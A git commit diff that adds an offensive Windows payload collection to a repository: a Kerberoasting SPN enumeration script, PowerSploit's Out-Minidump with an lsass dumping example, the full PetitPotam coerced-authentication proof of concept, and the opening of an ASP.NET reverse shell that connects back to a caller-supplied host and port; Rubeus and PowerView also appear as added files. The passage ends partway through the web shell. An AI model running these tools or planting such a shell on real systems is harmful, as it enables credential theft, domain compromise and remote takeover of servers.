Repository restructuring

This commit is contained in:
2026-04-30 19:53:18 +02:00
parent 31af1f4423
commit f233fe8264
98 changed files with 4216 additions and 1392 deletions

View File

Binary file not shown.

View File

Binary file not shown.

View File

@@ -0,0 +1,129 @@
# Edits by Tim Medin
# File: GetUserSPNS.ps1
# Contents: Query the domain to find SPNs that use User accounts
# Comments: This is for use with Kerberoast https://github.com/nidem/kerberoast
# The password hash used with Computer accounts are infeasible to
# crack; however, if the User account associated with an SPN may have
# a crackable password. This tool will find those accounts. You do not
# need any special local or domain permissions to run this script.
# This script on a script supplied by Microsoft (details below).
# History: 2016/07/07 Tim Medin Add -UniqueAccounts parameter to only get unique SAMAccountNames
# 2016/04/12 Tim Medin Added -Request option to automatically get the tickets
# 2014/11/12 Tim Medin Created
[CmdletBinding()]
Param(
[Parameter(Mandatory=$False,Position=1)] [string]$GCName,
[Parameter(Mandatory=$False)] [string]$Filter,
[Parameter(Mandatory=$False)] [switch]$Request,
[Parameter(Mandatory=$False)] [switch]$UniqueAccounts
)
Add-Type -AssemblyName System.IdentityModel
$GCs = @()
If ($GCName) {
$GCs += $GCName
} else { # find them
$ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
$CurrentGCs = $ForestInfo.FindAllGlobalCatalogs()
ForEach ($GC in $CurrentGCs) {
#$GCs += $GC.Name
$GCs += $ForestInfo.ApplicationPartitions[0].SecurityReferenceDomain
}
}
if (-not $GCs) {
# no Global Catalogs Found
Write-Host "No Global Catalogs Found!"
Exit
}
<#
Things you can extract
Name Value
---- -----
admincount {1}
samaccountname {sqlengine}
useraccountcontrol {66048}
primarygroupid {513}
userprincipalname {sqlengine@medin.local}
instancetype {4}
displayname {sqlengine}
pwdlastset {130410454241766739}
memberof {CN=Domain Admins,CN=Users,DC=medin,DC=local}
samaccounttype {805306368}
serviceprincipalname {MSSQLSvc/sql01.medin.local:1433, MSSQLSvc/sql01.medin.local}
usnchanged {135252}
lastlogon {130563243107145358}
accountexpires {9223372036854775807}
logoncount {34}
adspath {LDAP://CN=sqlengine,CN=Users,DC=medin,DC=local}
distinguishedname {CN=sqlengine,CN=Users,DC=medin,DC=local}
badpwdcount {0}
codepage {0}
name {sqlengine}
whenchanged {9/22/2014 6:45:21 AM}
badpasswordtime {0}
dscorepropagationdata {4/4/2014 2:16:44 AM, 4/4/2014 12:58:27 AM, 4/4/2014 12:37:04 AM,...
lastlogontimestamp {130558419213902030}
lastlogoff {0}
objectclass {top, person, organizationalPerson, user}
countrycode {0}
cn {sqlengine}
whencreated {4/4/2014 12:37:04 AM}
objectsid {1 5 0 0 0 0 0 5 21 0 0 0 191 250 179 30 180 59 104 26 248 205 17...
objectguid {101 165 206 61 61 201 88 69 132 246 108 227 231 47 109 102}
objectcategory {CN=Person,CN=Schema,CN=Configuration,DC=medin,DC=local}
usncreated {57551}
#>
ForEach ($GC in $GCs) {
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.SearchRoot = "LDAP://" + $GC
$searcher.PageSize = 1000
$searcher.Filter = "(&(!objectClass=computer)(servicePrincipalName=*))"
$searcher.PropertiesToLoad.Add("serviceprincipalname") | Out-Null
$searcher.PropertiesToLoad.Add("name") | Out-Null
$searcher.PropertiesToLoad.Add("samaccountname") | Out-Null
#$searcher.PropertiesToLoad.Add("userprincipalname") | Out-Null
#$searcher.PropertiesToLoad.Add("displayname") | Out-Null
$searcher.PropertiesToLoad.Add("memberof") | Out-Null
$searcher.PropertiesToLoad.Add("pwdlastset") | Out-Null
#$searcher.PropertiesToLoad.Add("distinguishedname") | Out-Null
$searcher.SearchScope = "Subtree"
$results = $searcher.FindAll()
[System.Collections.ArrayList]$accounts = @()
foreach ($result in $results) {
foreach ($spn in $result.Properties["serviceprincipalname"]) {
$o = Select-Object -InputObject $result -Property `
@{Name="ServicePrincipalName"; Expression={$spn.ToString()} }, `
@{Name="Name"; Expression={$result.Properties["name"][0].ToString()} }, `
#@{Name="UserPrincipalName"; Expression={$result.Properties["userprincipalname"][0].ToString()} }, `
@{Name="SAMAccountName"; Expression={$result.Properties["samaccountname"][0].ToString()} }, `
#@{Name="DisplayName"; Expression={$result.Properties["displayname"][0].ToString()} }, `
@{Name="MemberOf"; Expression={$result.Properties["memberof"][0].ToString()} }, `
@{Name="PasswordLastSet"; Expression={[datetime]::fromFileTime($result.Properties["pwdlastset"][0])} } #, `
#@{Name="DistinguishedName"; Expression={$result.Properties["distinguishedname"][0].ToString()} }
if ($UniqueAccounts) {
if (-not $accounts.Contains($result.Properties["samaccountname"][0].ToString())) {
$accounts.Add($result.Properties["samaccountname"][0].ToString()) | Out-Null
$o
if ($Request) {
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null
}
}
} else {
$o
if ($Request) {
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null
}
}
}
}
}

View File

Binary file not shown.

View File

Binary file not shown.

View File

Binary file not shown.

View File

@@ -0,0 +1,130 @@
function Out-Minidump
{
<#
.SYNOPSIS
Generates a full-memory minidump of a process.
PowerSploit Function: Out-Minidump
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Out-Minidump writes a process dump file with all process memory to disk.
This is similar to running procdump.exe with the '-ma' switch.
.PARAMETER Process
Specifies the process for which a dump will be generated. The process object
is obtained with Get-Process.
.PARAMETER DumpFilePath
Specifies the path where dump files will be written. By default, dump files
are written to the current working directory. Dump file names take following
form: processname_id.dmp
.EXAMPLE
Out-Minidump -Process (Get-Process -Id 4293)
Description
-----------
Generate a minidump for process ID 4293.
.EXAMPLE
Get-Process lsass | Out-Minidump
Description
-----------
Generate a minidump for the lsass process. Note: To dump lsass, you must be
running from an elevated prompt.
.EXAMPLE
Get-Process | Out-Minidump -DumpFilePath C:\temp
Description
-----------
Generate a minidump of all running processes and save them to C:\temp.
.INPUTS
System.Diagnostics.Process
You can pipe a process object to Out-Minidump.
.OUTPUTS
System.IO.FileInfo
.LINK
http://www.exploit-monday.com/
#>
[CmdletBinding()]
Param (
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
[System.Diagnostics.Process]
$Process,
[Parameter(Position = 1)]
[ValidateScript({ Test-Path $_ })]
[String]
$DumpFilePath = $PWD
)
BEGIN
{
$WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')
$WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic')
$Flags = [Reflection.BindingFlags] 'NonPublic, Static'
$MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags)
$MiniDumpWithFullMemory = [UInt32] 2
}
PROCESS
{
$ProcessId = $Process.Id
$ProcessName = $Process.Name
$ProcessHandle = $Process.Handle
$ProcessFileName = "$($ProcessName)_$($ProcessId).dmp"
$ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName
$FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)
$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle,
$ProcessId,
$FileStream.SafeFileHandle,
$MiniDumpWithFullMemory,
[IntPtr]::Zero,
[IntPtr]::Zero,
[IntPtr]::Zero))
$FileStream.Close()
if (-not $Result)
{
$Exception = New-Object ComponentModel.Win32Exception
$ExceptionMessage = "$($Exception.Message) ($($ProcessName):$($ProcessId))"
# Remove any partially written dump files. For example, a partial dump will be written
# in the case when 32-bit PowerShell tries to dump a 64-bit process.
Remove-Item $ProcessDumpPath -ErrorAction SilentlyContinue
throw $ExceptionMessage
}
else
{
Get-ChildItem $ProcessDumpPath
}
}
END {}
}

View File

@@ -0,0 +1,461 @@
#!/usr/bin/env python
#
# Author: GILLES Lionel aka topotam (@topotam77)
#
# Greetz : grenadine(@Greynardine), skar(@__skar), didakt(@inf0sec1), plissken, pixis(@HackAndDo) my friends!
# "Most of" the code stolen from dementor.py from @3xocyte ;)
import sys
import argparse
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.uuid import uuidtup_to_bin
show_banner = '''
___ _ _ _ ___ _
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)
Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
'''
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return 'EFSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# STRUCTURES
################################################################################
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
align = 1
structure = (
('Data', '20s'),
)
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
align = 1
structure = (
('Data', '20s'),
)
class EFS_EXIM_PIPE(NDRSTRUCT):
align = 1
structure = (
('Data', ':'),
)
class EFS_HASH_BLOB(NDRSTRUCT):
structure = (
('Data', DWORD),
('cbData', PCHAR),
)
class EFS_RPC_BLOB(NDRSTRUCT):
structure = (
('Data', DWORD),
('cbData', PCHAR),
)
class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
structure = (
('Type', DWORD),
('Data', DWORD),
('cbData', PCHAR),
)
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
structure = (
('Lenght', DWORD),
('SID', RPC_SID),
('Hash', EFS_HASH_BLOB),
('Display', LPWSTR),
)
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
structure = (
('Lenght', DWORD),
('SID', RPC_SID),
('Hash', EFS_CERTIFICATE_BLOB),
)
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
align = 1
structure = (
('Cert', DWORD),
('Users', ENCRYPTION_CERTIFICATE_HASH),
)
class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
structure = (
('Type', DWORD),
('HASH', ENCRYPTION_CERTIFICATE_HASH_LIST),
('Certif', ENCRYPTION_CERTIFICATE),
('Blob', EFS_RPC_BLOB),
)
class EFS_RPC_BLOB(NDRSTRUCT):
structure = (
('Data', DWORD),
('cbData', PCHAR),
)
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
align = 1
structure = (
('Data', ':'),
)
################################################################################
# RPC CALLS
################################################################################
class EfsRpcOpenFileRaw(NDRCALL):
opnum = 0
structure = (
('fileName', WSTR),
('Flag', ULONG),
)
class EfsRpcOpenFileRawResponse(NDRCALL):
structure = (
('hContext', EXIMPORT_CONTEXT_HANDLE),
('ErrorCode', ULONG),
)
class EfsRpcEncryptFileSrv(NDRCALL):
opnum = 4
structure = (
('FileName', WSTR),
)
class EfsRpcEncryptFileSrvResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcDecryptFileSrv(NDRCALL):
opnum = 5
structure = (
('FileName', WSTR),
('Flag', ULONG),
)
class EfsRpcDecryptFileSrvResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcQueryUsersOnFile(NDRCALL):
opnum = 6
structure = (
('FileName', WSTR),
)
class EfsRpcQueryUsersOnFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcQueryRecoveryAgents(NDRCALL):
opnum = 7
structure = (
('FileName', WSTR),
)
class EfsRpcQueryRecoveryAgentsResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcRemoveUsersFromFile(NDRCALL):
opnum = 8
structure = (
('FileName', WSTR),
('Users', ENCRYPTION_CERTIFICATE_HASH_LIST)
)
class EfsRpcRemoveUsersFromFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcAddUsersToFile(NDRCALL):
opnum = 9
structure = (
('FileName', WSTR),
('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST)
)
class EfsRpcAddUsersToFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcFileKeyInfo(NDRCALL):
opnum = 12
structure = (
('FileName', WSTR),
('infoClass', DWORD),
)
class EfsRpcFileKeyInfoResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcDuplicateEncryptionInfoFile(NDRCALL):
opnum = 13
structure = (
('SrcFileName', WSTR),
('DestFileName', WSTR),
('dwCreationDisposition', DWORD),
('dwAttributes', DWORD),
('RelativeSD', EFS_RPC_BLOB),
('bInheritHandle', BOOL),
)
class EfsRpcDuplicateEncryptionInfoFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcAddUsersToFileEx(NDRCALL):
opnum = 15
structure = (
('dwFlags', DWORD),
('Reserved', EFS_RPC_BLOB),
('FileName', WSTR),
('dwAttributes', DWORD),
('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST),
)
class EfsRpcAddUsersToFileExResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcFileKeyInfoEx(NDRCALL):
opnum = 16
structure = (
('dwFileKeyInfoFlags', DWORD),
('Reserved', EFS_RPC_BLOB),
('FileName', WSTR),
('InfoClass', DWORD),
)
class EfsRpcFileKeyInfoExResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcGetEncryptedFileMetadata(NDRCALL):
opnum = 18
structure = (
('FileName', WSTR),
)
class EfsRpcGetEncryptedFileMetadataResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcSetEncryptedFileMetadata(NDRCALL):
opnum = 19
structure = (
('FileName', WSTR),
('OldEfsStreamBlob', EFS_RPC_BLOB),
('NewEfsStreamBlob', EFS_RPC_BLOB),
('NewEfsSignature', ENCRYPTED_FILE_METADATA_SIGNATURE),
)
class EfsRpcSetEncryptedFileMetadataResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcEncryptFileExSrv(NDRCALL):
opnum = 21
structure = (
('FileName', WSTR),
('ProtectorDescriptor', WSTR),
('Flags', ULONG),
)
class EfsRpcEncryptFileExSrvResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
#class EfsRpcQueryProtectors(NDRCALL):
# opnum = 21
# structure = (
# ('FileName', WSTR),
# ('ppProtectorList', PENCRYPTION_PROTECTOR_LIST),
# )
#class EfsRpcQueryProtectorsResponse(NDRCALL):
# structure = (
# ('ErrorCode', ULONG),
# )
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (EfsRpcOpenFileRaw, EfsRpcOpenFileRawResponse),
4 : (EfsRpcEncryptFileSrv, EfsRpcEncryptFileSrvResponse),
5 : (EfsRpcDecryptFileSrv, EfsRpcDecryptFileSrvResponse),
6 : (EfsRpcQueryUsersOnFile, EfsRpcQueryUsersOnFileResponse),
7 : (EfsRpcQueryRecoveryAgents, EfsRpcQueryRecoveryAgentsResponse),
8 : (EfsRpcRemoveUsersFromFile, EfsRpcRemoveUsersFromFileResponse),
9 : (EfsRpcAddUsersToFile, EfsRpcAddUsersToFileResponse),
12 : (EfsRpcFileKeyInfo, EfsRpcFileKeyInfoResponse),
13 : (EfsRpcDuplicateEncryptionInfoFile, EfsRpcDuplicateEncryptionInfoFileResponse),
15 : (EfsRpcAddUsersToFileEx, EfsRpcAddUsersToFileExResponse),
16 : (EfsRpcFileKeyInfoEx, EfsRpcFileKeyInfoExResponse),
18 : (EfsRpcGetEncryptedFileMetadata, EfsRpcGetEncryptedFileMetadataResponse),
19 : (EfsRpcSetEncryptedFileMetadata, EfsRpcSetEncryptedFileMetadataResponse),
21 : (EfsRpcEncryptFileExSrv, EfsRpcEncryptFileExSrvResponse),
# 22 : (EfsRpcQueryProtectors, EfsRpcQueryProtectorsResponse),
}
class CoerceAuth():
def connect(self, username, password, domain, lmhash, nthash, target, pipe, doKerberos, dcHost, targetIp):
binding_params = {
'lsarpc': {
'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'efsr': {
'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target,
'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0')
},
'samr': {
'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'lsass': {
'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'netlogon': {
'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
}
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
if targetIp:
rpctransport.setRemoteHost(targetIp)
dce = rpctransport.get_dce_rpc()
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
print("[-] Connecting to %s" % binding_params[pipe]['stringBinding'])
try:
dce.connect()
except Exception as e:
print("Something went wrong, check error status => %s" % str(e))
#sys.exit()
return
print("[+] Connected!")
print("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0])
try:
dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR']))
except Exception as e:
print("Something went wrong, check error status => %s" % str(e))
#sys.exit()
return
print("[+] Successfully bound!")
return dce
def EfsRpcOpenFileRaw(self, dce, listener):
print("[-] Sending EfsRpcOpenFileRaw!")
try:
request = EfsRpcOpenFileRaw()
request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
request['Flag'] = 0
#request.dump()
resp = dce.request(request)
except Exception as e:
if str(e).find('ERROR_BAD_NETPATH') >= 0:
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
print('[+] Attack worked!')
#sys.exit()
return None
if str(e).find('rpc_s_access_denied') >= 0:
print('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!')
print('[+] OK! Using unpatched function!')
print("[-] Sending EfsRpcEncryptFileSrv!")
try:
request = EfsRpcEncryptFileSrv()
request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
resp = dce.request(request)
except Exception as e:
if str(e).find('ERROR_BAD_NETPATH') >= 0:
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
print('[+] Attack worked!')
pass
else:
print("Something went wrong, check error status => %s" % str(e))
return None
#sys.exit()
else:
print("Something went wrong, check error status => %s" % str(e))
return None
#sys.exit()
def main():
parser = argparse.ArgumentParser(add_help = True, description = "PetitPotam - rough PoC to connect to lsarpc and elicit machine account authentication via MS-EFSRPC EfsRpcOpenFileRaw()")
parser.add_argument('-u', '--username', action="store", default='', help='valid username')
parser.add_argument('-p', '--password', action="store", default='', help='valid password (if omitted, it will be asked unless -no-pass)')
parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name')
parser.add_argument('-hashes', action="store", metavar="[LMHASH]:NTHASH", help='NT/LM hashes (LM hash can be empty)')
parser.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
parser.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials '
'cannot be found, it will use the ones specified in the command '
'line')
parser.add_argument('-dc-ip', action="store", metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter')
parser.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it')
parser.add_argument('-pipe', action="store", choices=['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass', 'all'], default='lsarpc', help='Named pipe to use (default: lsarpc) or all')
parser.add_argument('listener', help='ip address or hostname of listener')
parser.add_argument('target', help='ip address or hostname of target')
options = parser.parse_args()
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
print(show_banner)
if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True:
from getpass import getpass
options.password = getpass("Password:")
plop = CoerceAuth()
if options.pipe == "all":
all_pipes = ['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass']
else:
all_pipes = [options.pipe]
for all_pipe in all_pipes:
print("Trying pipe", all_pipe)
dce = plop.connect(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=options.target, pipe=all_pipe, doKerberos=options.k, dcHost=options.dc_ip, targetIp=options.target_ip)
if dce is not None:
plop.EfsRpcOpenFileRaw(dce, options.listener)
dce.disconnect()
sys.exit()
if __name__ == '__main__':
main()

24810
payloads/windows/PowerView.ps1 Normal file
View File

File diff suppressed because it is too large Load Diff

View File

File diff suppressed because it is too large Load Diff

View File

Binary file not shown.

View File

Binary file not shown.

BIN
payloads/windows/Rubeus.exe Normal file
View File

Binary file not shown.

View File

Binary file not shown.

View File

Binary file not shown.

View File

Binary file not shown.

View File

Binary file not shown.

View File

File diff suppressed because one or more lines are too long

View File

Binary file not shown.

View File

Binary file not shown.

View File

Binary file not shown.

View File

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,423 @@
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Security.Principal" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<script runat="server">
//Original shell post: https://www.darknet.org.uk/2014/12/insomniashell-asp-net-reverse-shell-bind-shell/
//Download link: https://www.darknet.org.uk/content/files/InsomniaShell.zip
protected void Page_Load(object sender, EventArgs e)
{
String host = Request["LHOST"];
int port = Convert.ToInt32(Request["LPORT"]);
CallbackShell(host, port);
}
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public int cb;
public String lpReserved;
public String lpDesktop;
public String lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int Length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
[DllImport("kernel32.dll")]
static extern bool CreateProcess(string lpApplicationName,
string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles,
uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
public static uint INFINITE = 0xFFFFFFFF;
[DllImport("kernel32", SetLastError = true, ExactSpelling = true)]
internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds);
internal struct sockaddr_in
{
public short sin_family;
public short sin_port;
public int sin_addr;
public long sin_zero;
}
[DllImport("kernel32.dll")]
static extern IntPtr GetStdHandle(int nStdHandle);
[DllImport("kernel32.dll")]
static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);
public const int STD_INPUT_HANDLE = -10;
public const int STD_OUTPUT_HANDLE = -11;
public const int STD_ERROR_HANDLE = -12;
[DllImport("kernel32")]
static extern bool AllocConsole();
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern IntPtr WSASocket([In] AddressFamily addressFamily,
[In] SocketType socketType,
[In] ProtocolType protocolType,
[In] IntPtr protocolInfo,
[In] uint group,
[In] int flags
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int inet_addr([In] string cp);
[DllImport("ws2_32.dll")]
private static extern string inet_ntoa(uint ip);
[DllImport("ws2_32.dll")]
private static extern uint htonl(uint ip);
[DllImport("ws2_32.dll")]
private static extern uint ntohl(uint ip);
[DllImport("ws2_32.dll")]
private static extern ushort htons(ushort ip);
[DllImport("ws2_32.dll")]
private static extern ushort ntohs(ushort ip);
[DllImport("WS2_32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
internal static extern int connect([In] IntPtr socketHandle,[In] ref sockaddr_in socketAddress,[In] int socketAddressSize);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int send(
[In] IntPtr socketHandle,
[In] byte[] pinnedBuffer,
[In] int len,
[In] SocketFlags socketFlags
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int recv(
[In] IntPtr socketHandle,
[In] IntPtr pinnedBuffer,
[In] int len,
[In] SocketFlags socketFlags
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int closesocket(
[In] IntPtr socketHandle
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern IntPtr accept(
[In] IntPtr socketHandle,
[In, Out] ref sockaddr_in socketAddress,
[In, Out] ref int socketAddressSize
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int listen(
[In] IntPtr socketHandle,
[In] int backlog
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int bind(
[In] IntPtr socketHandle,
[In] ref sockaddr_in socketAddress,
[In] int socketAddressSize
);
public enum TOKEN_INFORMATION_CLASS
{
TokenUser = 1,
TokenGroups,
TokenPrivileges,
TokenOwner,
TokenPrimaryGroup,
TokenDefaultDacl,
TokenSource,
TokenType,
TokenImpersonationLevel,
TokenStatistics,
TokenRestrictedSids,
TokenSessionId
}
[DllImport("advapi32", CharSet = CharSet.Auto)]
public static extern bool GetTokenInformation(
IntPtr hToken,
TOKEN_INFORMATION_CLASS tokenInfoClass,
IntPtr TokenInformation,
int tokeInfoLength,
ref int reqLength);
public enum TOKEN_TYPE
{
TokenPrimary = 1,
TokenImpersonation
}
public enum SECURITY_IMPERSONATION_LEVEL
{
SecurityAnonymous,
SecurityIdentification,
SecurityImpersonation,
SecurityDelegation
}
[DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment,
String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")]
public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess,
ref SECURITY_ATTRIBUTES lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLeve, TOKEN_TYPE TokenType,
ref IntPtr DuplicateTokenHandle);
const int ERROR_NO_MORE_ITEMS = 259;
[StructLayout(LayoutKind.Sequential)]
struct TOKEN_USER
{
public _SID_AND_ATTRIBUTES User;
}
[StructLayout(LayoutKind.Sequential)]
public struct _SID_AND_ATTRIBUTES
{
public IntPtr Sid;
public int Attributes;
}
[DllImport("advapi32", CharSet = CharSet.Auto)]
public extern static bool LookupAccountSid
(
[In, MarshalAs(UnmanagedType.LPTStr)] string lpSystemName,
IntPtr pSid,
StringBuilder Account,
ref int cbName,
StringBuilder DomainName,
ref int cbDomainName,
ref int peUse
);
[DllImport("advapi32", CharSet = CharSet.Auto)]
public extern static bool ConvertSidToStringSid(
IntPtr pSID,
[In, Out, MarshalAs(UnmanagedType.LPTStr)] ref string pStringSid);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(
IntPtr hHandle);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId);
[Flags]
public enum ProcessAccessFlags : uint
{
